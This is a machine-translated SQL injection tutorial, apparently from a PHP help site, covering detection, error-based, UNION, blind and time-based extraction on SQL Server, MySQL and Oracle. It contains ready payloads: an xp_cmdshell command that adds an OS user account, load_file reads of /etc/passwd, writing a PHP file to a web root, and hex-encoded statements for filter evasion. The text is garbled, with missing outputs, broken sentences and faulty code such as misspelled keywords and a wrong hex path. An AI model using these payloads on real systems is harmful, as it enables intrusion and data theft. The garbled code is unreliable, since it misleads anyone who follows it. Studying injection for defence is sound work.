There are three ways of sql injection: 1. Numeric injection; when the input parameter is an integer, there may be a numeric injection vulnerability. 2. Character injection; when the input parameter is a string, a character injection vulnerability may exist. 3. Other types (for example: search injection, cookie injection, POST injection, etc.).
##SQL injection principle
SQL injection attack refers to constructing special input Passed into the web application as parameters, most of these inputs are some combinations in SQL syntax. By executing the SQL statement, the attacker performs the operations required. The main reason is that the program does not carefully filter the data input by the user, resulting in illegal data intrusion. system.SQL injection classification
1. Numeric injection
When the input parameters are integers, there may be a numeric injection vulnerability. Suppose there is a URL:HTTP://www.aaa.com/test.php?id=1You can guess the background SQL statement as:
SELECT * FROM table WHERE id=1
Determine the SQL injection point of numeric vulnerability:
① First enter the input box Enter a single quote '
SELECT * FROM table WHERE id=1' ,
② Enter and 1 = 1## in the input box. The SQL statement becomes:
The statement is correct and executes normally. The returned data is no different from the original request.
and 1 = 2## in the database. The SQL statement becomes:
SELECT * FROM table WHERE id=1 and 1 = 2
Although the syntax is correct and the statement executes normally, the logic is wrong because 1 = 2 is permanently false, so the returned data is different from the original request.
When the input parameter is a string, a character injection vulnerability may exist. The biggest difference between numeric and character injection is that numeric types do not need to be closed with single quotes, while character types generally need to be closed with single quotes.
The most critical thing about character injection is how to close the SQL statement
andcomment the redundant code . Assume that the background SQL statement is as follows:
SELECT * FROM table WHERE username = 'admin'SQL injection point for determining character type vulnerabilities
① It is better to enter single quotes first
admin' to test Such an SQL statement will become:
SELECT * FROM table WHERE username = 'admin''
.Page exception.
② Input:
admin' and 1 = 1 --Note: There is a single quotation mark after admin '
-- at the end (
There is a space after the two bars!!!).
The SQL statement becomes:
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
The page is displayed correctly.
③ Input:
admin' and 1 = 2 --The SQL statement becomes:
SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
Page error.
In fact, I think there are only two types of SQL injection: numeric and character. Many people may say that there are other methods such as: Cookie injection, POST injection, delayed injection, etc. This is indeed the case, but these types of injections are ultimately just different presentation forms of numeric and character injections or different injection locations.
The following are some common injection names:
POST injection: the injected field is in the POST data
For database injection, the attacker is nothing more than using the database to obtain more data or greater permissions, and the method of use It can be summarized into the following categories:
Query data
Here are the injections of three databases: Oracle 11g, MySQL 5.1 and SQL Server 2008.
SQL Server
1. Use error messages to extract information
SQL Server database is a A very good database, which can accurately locate error information, is a very good thing for attackers, because attackers can extract the data they want through error messages.
① Enumerate the current table or column
Assume that such a table exists:
Query the details of the root user Information, the SQL statement guess is as follows: SELECT * FROM user WHERE username = 'root' AND password = 'root'
An attacker can use SQL Server features to obtain sensitive information, Enter the following statement in the input box: ' having 1 = 1 --
The final executed SQL statement will become: SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --
Then the SQL executor may throw an error:
attacker You can find that the current table name is user and the field id exists.
An attacker can use this feature to continue to obtain other column names by entering the following statement: ' GROUP BY users.id HAVING 1 = 1 --
Then the SQL statement becomes For: SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --
Throws error:
You can see that the column name username is included. You can query recursively once until there is no error message returned, so you can use the HAVING clause to get all the column names of the current table.
Note: Each column specified by Select should appear in the Group By clause, unless an aggregate function is used for this column
②. Extraction using data type errors Data
The SQL Editor will throw an exception if you try to compare a string with a non-string, or convert a string to another incompatible type.
The following SQL statement: SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
Executor error message:
This way you can get the user's user name root. Because in the subquery SELECT TOP 1 username FROM users
, the first queried username is returned. The return type is varchar type, and then compared with 1 of int type. The two types are different. The data cannot be compared and an error is reported, leading to data leakage.
Use this method to recursively deduce all account information: SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))
.
By constructing this statement, you can get the next user name; if you replace the username in the subquery with other column names, you can get the information of other columns, which will not be described here.
2. Obtain metadata
SQL Server provides a large number of views to facilitate obtaining metadata. You can first guess the number of columns in the table, and then use UNION to construct a SQL statement to obtain the data.
For example: SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
If the number of columns in the current table is 2, then The current database table can be obtained with the UNION statement. How to guess the number of columns in the current table will be described later.
Some commonly used system database views:
Database view | Description |
---|---|
SYS.DATABASES | All databases in SQL Server |
SYS.SQL_LOGINS | All logins in SQL Server |
INFORMATION_SCHEMA.TABLES | All data tables in the current user database |
INFORMATION_SCHEMA.COLUMNS | Current user All columns in the database |
SYS.ALL_COLUMNS | Union of all columns of user-defined objects and system objects |
SYS .DATABASE_PRINCIPALS | Exception permissions for each permission or column in the database |
SYS.DATABASE_FILES | Database files stored in the database |
SYSOBJECTS | Every object created in the database (including constraints, logs, and stored procedures) |
3. ORDER BY clause guesses the number of columns
You can use the ORDER BY statement to determine the number of columns in the current table.
For example:
① SELECT * FROM users WHERE id = 1
——SQL execution is normal
②SELECT * FROM users WHERE id = 1 ORDER BY 1
(sorted by the first column) - SQL execution is normal
③ SELECT * FROM users WHERE id = 1 ORDER BY 2
(sorted by the second column) - SQL execution is normal
④ SELECT * FROM users WHERE id = 1 ORDER BY 3
(sorted by the third column)——SQL execution is normal
⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4
(sorted by the fourth column) - SQL throws an exception:
It can be concluded that the number of columns in the current table is only 3 columns , because an error occurred when sorting by column 4. This method also applies to Oracle and MySql databases.
After knowing the number of columns, the attacker usually cooperates with the UNION keyword to carry out the next attack.
4. UNION query
The UNION keyword combines two or more query results into a single result set. Most databases support UNION queries. However, there are the following basic rules for merging two results using UNION:
① Use UNION query to guess the number of columns
Not only can you use the ORDER BY method to guess the number of columns, the UNION method can also be used.
There are 5 columns in the previously assumed user table. If we use UNION to query: SELECT * FROM users WHERE id = 1 UNION SELECT 1
The database will issue Exception:
You can query recursively until no errors occur, then you can know the number of query fields in the User table: UNION SELECT 1,2
, UNION SELECT 1,2,3
You can also change the number after SELECT to null, so that incompatibility exceptions are less likely to occur.
② Union query for sensitive information
After knowing that the number of columns is 4, you can use the following statement to continue injecting: UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U'
(Note: xtype='U' means the object type is a table)
If the data type of the first column does not match, the database will report an error, then you can Query recursively until statements are compatible. When the statement is executed normally, you can replace x with a SQL statement to query sensitive information.
5. Use the system functions provided by SQL Server
SQL Server provides a lot of system functions. You can use this system function to access the information in the SQL Server system tables. , without using SQL query statements.
For example:
6. Stored Procedure
Stored Procedure (Stored Procedure) is a set of SQL "functions" used to complete specific functions in large database systems, such as: Execute system commands, view the registry, read disk directories, etc.
The stored procedure most commonly used by attackers is "xp_cmdshell". This stored procedure allows users to execute operating system commands.
For example: If there is an injection point in http://www.aaa.org/test.aspx?id=1
, then the attacker can implement a command attack: http: //www.aaa.org/test.aspx?id=1; exec xp_cmdshell 'net user test test /add'
The final executed SQL statement is as follows: SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
The statement after the semicolon can create a new username test and password test for the attacker on the other party's server. user.
Note: Not any database user can use this type of stored procedure, Users must hold CONTROL SERVER permissions.
Common dangerous stored procedures are as follows:
Stored procedures | Description |
---|---|
sp_addlogin | Creates a new SQL Server login that allows users to connect to a SQL Server instance using the SQL Server identity |
sp_dropuser | Delete the database user from the current database |
xp_enumgroups | Provide a Microsoft Windows local group list or define a global group list in the specified Windows domain |
xp_regread | Read the registry |
xp_regwrite | Write the registry |
xp_redeletevalue | Delete registry |
xp_dirtree | Read directory |
sp_password | Change password |
xp_servicecontrol | Stop or activate a service |
In addition, any database requires specific permissions when using some special functions or stored procedures. Common SQL Server database roles and permissions are as follows:
Role | Permission |
---|---|
bulkadmin | Can run BULK INSERT statement |
dbcreator | Can create, change, delete and restore any database |
diskadmin | Can manage disk files |
processadmin | Can plant instances running in the database engine |
securityadmin | Can manage login names and their attributes; can take advantage of GRANT, DENY, and REVOKE server-level permissions; can also take advantage of GRANT, DENY, and REVOKE database-level permissions; in addition, you can redo Set the password for the SQL Server login |
serveradmin | You can change server-wide configuration options and shut down the server |
setupadmin | Can add and delete linked servers, and can execute certain system stored procedures |
sysadmin | Can perform any activity in the database engine |
7. Dynamic execution
SQL Server supports dynamic execution of statements. Users can submit a string to execute SQL statements.
For example: exec('SELECT username, password FROM users')
You can also use the exec function to execute by defining a hexadecimal SQL statement. Most web applications and firewalls filter single quotes. Using exec to execute hexadecimal SQL statements can break through many firewalls and anti-injection programs, such as:
declare @query varchar(888) select @query=0x73656C6563742031 exec(@query)
or: declare/ **/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
MySQL
The injection process of SQL Server is described in detail before. When injecting into other databases, The basic idea is the same, but the functions or statements used by the two are slightly different.
1. Comments in MySQL
MySQL supports the following 3 comment styles:
##2. Obtain metadata
MySQL 5.0 and above provide INFORMATION_SCHEMA, which is an information database that provides a way to access database metadata. Here's how to read the database name, table name, and column name from it. ① Query the user database name
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATAThe INFORMATION_SCHEMA.SCHEMATA table provides information about the database.
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())INFORMATION_SCHEMA.TABLES table gives the information of the tables in the database .
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'INFORMATION_SCHEMA.COLUMNS The table gives the column information.
3. UNION query
is roughly the same as SQL Server and will not be described here.4. MySQL function utilization
Whether it is MySQL, Oracle or other databases, there are many built-in system functions. These database functions are very similar. Next, we will introduce some of them. MySQL functions that are helpful for penetration testers.① load_file() function file reading operation
MySQL provides the load_file() function to help users quickly read files, but the location of the file must be on the server , the file must be an absolute path, and the user must have FILE permission, and the file capacity must be less than max_allowed_packet bytes (default is 16MB, maximum is 1GB). SQL statements are as follows:
UNION SELECT 1, load_file('/etc/passwd'), 3, 4
UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #"0x2F6561342F706173737764" is the sixteenth of "/etc/passwd" Base conversion result.
② into outfile file writing operation
MySQL provides the operation of writing files to disk. Like load_file(), it must have FILE permissions and the file must be full. Path name. Write file:
SELECT '' into oufile 'C:\wwwroot\1.php'
③ Connection string
MySQL If you need to query multiple data at one time, you can use the concat() or concat_ws() function to complete it.SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version());
5. MySQL explicit error injection
MySQL also has explicit error injection, which can be like SQL Server database, use error extraction messages.① Execute SQL statements through updatexml function
First understand the updatexml() function:updatexml (XML_document, XPath_string, new_value);
First Parameters: XML_document is in String format, which is the name of the XML document object;
The second parameter: XPath_string (string in Xpath format),
The third parameter: new_value, String format, replaces the found match Conditional data
SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version)))), 1)concat The () function concatenates it into a string, so it will not conform to the format of XPATH_string, resulting in a format error, error, and unrecognizable content:
② Through the extractvalue functionSEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
The same error is reported and the current user is displayed:
6. Wide byte injection
Wide byte injection is caused by encoding inconsistencyCaused, this kind of injection generally occurs in PHP MySQL.
There is a magic_quotes_gpc option in the PHP configuration file php.ini, which is called magic quotes. When this option is turned on, use single quotes ('), double quotes accepted by GET, POST, and Cookie. Quotation marks ("), backslash () and NULL characters will be automatically escaped with a backslash .
Use the PHP code as follows to use $_GET to receive parameters:
If you access the URL: http:/www.xxser.com/Get.php?id='
, it will be displayed as follows:
Single quotes# After ##' is escaped, it becomes
\'. In MySQL,
\' is a legal character, so there is no way to close the single quote, so , injection cannot be formed when the injection type is character type.
�', visit the URL:
http:/www.xxser.com/Get.php?id =�', the display is as follows:
It can be found that the single quotes are not escaped this time, so that you can break through the PHP escape and continue to close the SQL statement for SQL injection.
7. MySQL long character truncation
MySQL long character truncation is also known as "SQL-Column-Truncation".There is a sql_mode option in a setting in MySQL , when sql_mode is set to default, that is, when the STRICT - ALL_TABLES option is not turned on, MySQL will only prompt a warning instead of an error when inserting an overly long value.
The length of the username field is 7.
① Insert normal SQL statements:
INSERT users(id, username, password) VALUES( 1, 'admin', 'admin');
Successfully inserted.
INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
Although there was a warning, the insertion was successful.
INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
You can see that all three pieces of data have been inserted into the database, but the values have changed. By default, MySQL stages data if it exceeds the default length.
, we can find that only the user with the user name admin is queried, but the other two admin users with inconsistent lengths are also queried, which will cause some security issues. question.
$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";
8. Delayed injection
Delayed injection is a kind of blind injection technology, which is an injection technology based on time difference. The following uses MySQL as an example to introduce delayed injection. There is a function in MySQL: sleep(duration). This function means to run the statement after the duration parameter is given for a few seconds. The following SQL statement:
SELECT * FROM users WHERE id = 1 AND sleep(3) means that the SQL statement will be executed after 3 seconds.
You can use this function to determine whether the URL has a SQL injection vulnerability. The steps are as follows:
It can be concluded from the world returned by the page that the DBMS executed and sleep (3)
statement, so that you can determine that the URL has a SQL injection vulnerability.
Then the data can also be read through the sleep() function, but it requires the cooperation of other functions. The steps are as follows:
①Query the current user and obtain the string length
Execute the SQL statement: AND if(length(user()) = 0, sleep(3), 1)
If there is a 3-second delay, you can determine the user string length , the half algorithm is usually used to reduce judgment when injecting.
② Intercept the first character of the string and convert it to ASCII codeAND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
......
keeps changing The first character can be guessed after a delay of 3 seconds until the ASCII code appears.
③ Recursively intercept each character of the string and compare it with the ASCII code respectivelyAND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
Note: The position of L represents the character of the string, and the position of N represents the ASCII code.
Not only do delay functions exist in MySQL, but there are also functions with similar functions in databases such as SQL Server and Oracle, such as waitfor delay in SQL Server and DBMS_LOCK.SLEEP in Oracle.
Oracle
1. Obtain metadata
Oracle also supports querying metadata, as follows It is a commonly used metadata view injected by Oracle:
① user_tablespaces view, view table spacesSELECT tablespace_name FROM user_tablespaces
② user_tables view, view all tables of the current userSELECT table_name FROM user_tables WHERE rownum = 1
③ user_tab_columns view, view all columns of the current user, such as querying all columns of the user table: SELECT column_name FROM user_tab_columns WHERE table_name = 'users'
④ all_users view, view all users of the Oracle databaseSELECT username FROM all_users
⑤ user_objects view, view the current All objects of the user (table names, constraints, indexes)SELECT object_name FROM user_objects
2. UNION query
Oracle and MySQL It also does not support multiple statement execution. Unlike SQL Server, which can be separated by semicolons to inject multiple SQL statements.
①Get the total number of columns
The method of getting the total number of columns is similar to the previous two databases, and can still be completed using the ORDER BY clause.
Another method is to use the UNION keyword to determine, but Oracle stipulates that each query must be followed by the name of the table, otherwise the query will not be established.
Can be used in Oracle: UNION SELECT null, null, null ...... FROM dual
The dual here is a virtual table in Oracle, in the unknown database If any tables exist, you can use this table as a query table.
Then get non-numeric type columns, that is, columns that can display information : UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual
Enclose each null
in single quotation marks ',If an error is reported, it is not a string type column; if returns normal, it is a string type column, and you can insert a query statement at the corresponding position to obtain the information.
② Obtain sensitive information
Common sensitive information is as follows:
SELECT * FROM session_roles
SELECT banner FROM sys.v_$version WHERE rownum = 1
utl_http.request
SELECT utl_inaddr.get_host_address FROM dual
SELECT member FROM v$logfile WHERE rownum = 1
SELECT instance_name FROM v$instance
SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual
③ Obtain the database table and its contents
After knowing the number of columns in the table, you can query the table name and column name by querying metadata, and then query the data, such as: http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
Note: Pay attention to the data when querying data. Type, otherwise it cannot be queried and can only be tested one by one and change the query position of the parameters.
The above is the detailed content of What are the three ways of sql injection?. For more information, please follow other related articles on the PHP Chinese website!